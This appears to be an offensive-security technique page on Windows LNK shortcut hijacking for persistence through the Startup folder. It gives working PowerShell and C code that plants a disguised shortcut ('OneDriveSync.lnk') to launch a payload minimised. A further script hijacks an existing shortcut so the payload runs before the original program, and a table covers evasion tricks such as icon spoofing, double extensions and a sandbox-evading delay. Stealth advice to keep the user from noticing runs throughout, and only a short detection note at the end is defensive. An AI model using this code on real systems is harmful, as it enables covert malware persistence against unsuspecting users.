LNK File Hijacking
Overview
Windows .lnk shortcut files in the Startup folder are executed by Explorer at every user logon — no registry modification, no service installation, no elevated privileges required. An attacker with write access to the user’s profile can silently plant a malicious shortcut that persists across reboots.
The technique scales: the per-user Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup) requires only user-level write access, while the machine-wide All Users path (%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup) requires admin rights and fires for every user who logs on. Adversaries frequently abuse this as a persistence fallback alongside registry Run keys because both paths are often missed by defenders focused on registry monitoring.
Replace an existing legitimate shortcut rather than creating a new one to avoid the telltale
“new file in Startup folder” event. Backup the original .lnk bytes and restore them if
the attacker needs to clean up — the legitimate shortcut must keep working so the user
does not notice anything changed.
The call chain
- 1identify target LNK locationStartup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup) runs for each user; All Users path runs for every logon.
- 2IShellLink::SetPath / SetArguments (COM)Build a shortcut COM object pointing to the payload binary with desired arguments.
- 3IPersistFile::SaveWrite the .lnk file to the chosen Startup location.
- 4user logs onExplorer reads every .lnk in the Startup folder and executes the targets; no registry modification required.
Reference implementation
PowerShell — create malicious shortcut
# Per-user Startup folder — no elevation required
$startup = [Environment]::GetFolderPath('Startup')
$lnk_path = Join-Path $startup "OneDriveSync.lnk"
$wsh = New-Object -ComObject WScript.Shell
$link = $wsh.CreateShortcut($lnk_path)
$link.TargetPath = "C:\Windows\System32\cmd.exe"
$link.Arguments = "/c start /min C:\Users\Public\update.exe"
$link.WorkingDirectory = "C:\Windows\System32"
$link.Description = "OneDrive Sync Helper"
$link.WindowStyle = 7 # SW_SHOWMINNOACTIVE — minimised, no focus
# Use a system DLL icon to look like a legitimate entry
$link.IconLocation = "C:\Windows\System32\shell32.dll,13"
$link.Save()
Write-Host "[+] Shortcut created at $lnk_path"# Per-user Startup folder — no elevation required
$startup = [Environment]::GetFolderPath('Startup')
$lnk_path = Join-Path $startup "OneDriveSync.lnk"
$wsh = New-Object -ComObject WScript.Shell
$link = $wsh.CreateShortcut($lnk_path)
$link.TargetPath = "C:\Windows\System32\cmd.exe"
$link.Arguments = "/c start /min C:\Users\Public\update.exe"
$link.WorkingDirectory = "C:\Windows\System32"
$link.Description = "OneDrive Sync Helper"
$link.WindowStyle = 7 # SW_SHOWMINNOACTIVE — minimised, no focus
# Use a system DLL icon to look like a legitimate entry
$link.IconLocation = "C:\Windows\System32\shell32.dll,13"
$link.Save()
Write-Host "[+] Shortcut created at $lnk_path"C — create LNK via IShellLink COM
#include <windows.h>
#include <shlobj.h>
#include <objbase.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
HRESULT create_startup_lnk(const wchar_t *payload, const wchar_t *args,
const wchar_t *lnk_name) {
CoInitialize(NULL);
IShellLinkW *psl = NULL;
HRESULT hr = CoCreateInstance(&CLSID_ShellLink, NULL,
CLSCTX_INPROC_SERVER, &IID_IShellLinkW, (void**)&psl);
if (FAILED(hr)) return hr;
psl->lpVtbl->SetPath(psl, payload);
psl->lpVtbl->SetArguments(psl, args);
psl->lpVtbl->SetShowCmd(psl, SW_SHOWMINNOACTIVE);
psl->lpVtbl->SetDescription(psl, L"System Update Helper");
// Build path: %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.lnk
wchar_t startup[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_STARTUP, NULL, SHGFP_TYPE_CURRENT, startup);
wchar_t lnk_path[MAX_PATH];
swprintf_s(lnk_path, MAX_PATH, L"%s\%s.lnk", startup, lnk_name);
IPersistFile *ppf = NULL;
hr = psl->lpVtbl->QueryInterface(psl, &IID_IPersistFile, (void**)&ppf);
if (SUCCEEDED(hr)) {
hr = ppf->lpVtbl->Save(ppf, lnk_path, TRUE);
ppf->lpVtbl->Release(ppf);
}
psl->lpVtbl->Release(psl);
CoUninitialize();
return hr;
}#include <windows.h>
#include <shlobj.h>
#include <objbase.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
HRESULT create_startup_lnk(const wchar_t *payload, const wchar_t *args,
const wchar_t *lnk_name) {
CoInitialize(NULL);
IShellLinkW *psl = NULL;
HRESULT hr = CoCreateInstance(&CLSID_ShellLink, NULL,
CLSCTX_INPROC_SERVER, &IID_IShellLinkW, (void**)&psl);
if (FAILED(hr)) return hr;
psl->lpVtbl->SetPath(psl, payload);
psl->lpVtbl->SetArguments(psl, args);
psl->lpVtbl->SetShowCmd(psl, SW_SHOWMINNOACTIVE);
psl->lpVtbl->SetDescription(psl, L"System Update Helper");
// Build path: %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.lnk
wchar_t startup[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_STARTUP, NULL, SHGFP_TYPE_CURRENT, startup);
wchar_t lnk_path[MAX_PATH];
swprintf_s(lnk_path, MAX_PATH, L"%s\%s.lnk", startup, lnk_name);
IPersistFile *ppf = NULL;
hr = psl->lpVtbl->QueryInterface(psl, &IID_IPersistFile, (void**)&ppf);
if (SUCCEEDED(hr)) {
hr = ppf->lpVtbl->Save(ppf, lnk_path, TRUE);
ppf->lpVtbl->Release(ppf);
}
psl->lpVtbl->Release(psl);
CoUninitialize();
return hr;
}Hijack an existing shortcut (stealthier)
# Replace an existing Startup shortcut, preserving the appearance
$startup = [Environment]::GetFolderPath('Startup')
$target = Get-ChildItem $startup -Filter "*.lnk" | Select-Object -First 1
if ($target) {
$wsh = New-Object -ComObject WScript.Shell
$link = $wsh.CreateShortcut($target.FullName)
# Save original for cleanup
$orig_target = $link.TargetPath
$orig_args = $link.Arguments
Write-Host "[*] Original: $orig_target $orig_args"
# Replace target while keeping icon/description unchanged
$link.TargetPath = "C:\Windows\System32\cmd.exe"
$link.Arguments = "/c C:\Users\Public\payload.exe & $orig_target $orig_args"
$link.Save()
Write-Host "[+] Hijacked: $($target.FullName)"
}# Replace an existing Startup shortcut, preserving the appearance
$startup = [Environment]::GetFolderPath('Startup')
$target = Get-ChildItem $startup -Filter "*.lnk" | Select-Object -First 1
if ($target) {
$wsh = New-Object -ComObject WScript.Shell
$link = $wsh.CreateShortcut($target.FullName)
# Save original for cleanup
$orig_target = $link.TargetPath
$orig_args = $link.Arguments
Write-Host "[*] Original: $orig_target $orig_args"
# Replace target while keeping icon/description unchanged
$link.TargetPath = "C:\Windows\System32\cmd.exe"
$link.Arguments = "/c C:\Users\Public\payload.exe & $orig_target $orig_args"
$link.Save()
Write-Host "[+] Hijacked: $($target.FullName)"
}Startup folder locations
| Scope | Path | Rights required |
|---|---|---|
| Current user | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup |
User |
| All users | %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup |
Admin |
| All users (XP-era) | %ALLUSERSPROFILE%\Start Menu\Programs\Startup |
Admin |
Evasion variants
| Variant | Technique |
|---|---|
| Double-extension LNK | Name it report.pdf.lnk; Windows hides .lnk extension by default |
| Icon spoofing | Set IconLocation to a PDF/Word icon from shell32.dll |
| Minimised window | SW_SHOWMINNOACTIVE prevents a visible console flash |
cmd /c chain |
Launch payload, then original app — user sees normal behaviour |
| Delayed execution | ping 127.0.0.1 -n 30 & payload.exe — skip sandbox timing |
Detection
Monitoring file creation in Startup folders is the highest-fidelity detection. Correlate with the process that wrote the file (Sysmon EID 11 includes the image that created the file) — Explorer and the Windows Installer are legitimate writers; powershell.exe, cmd.exe, or any process from a user-writable location should alert.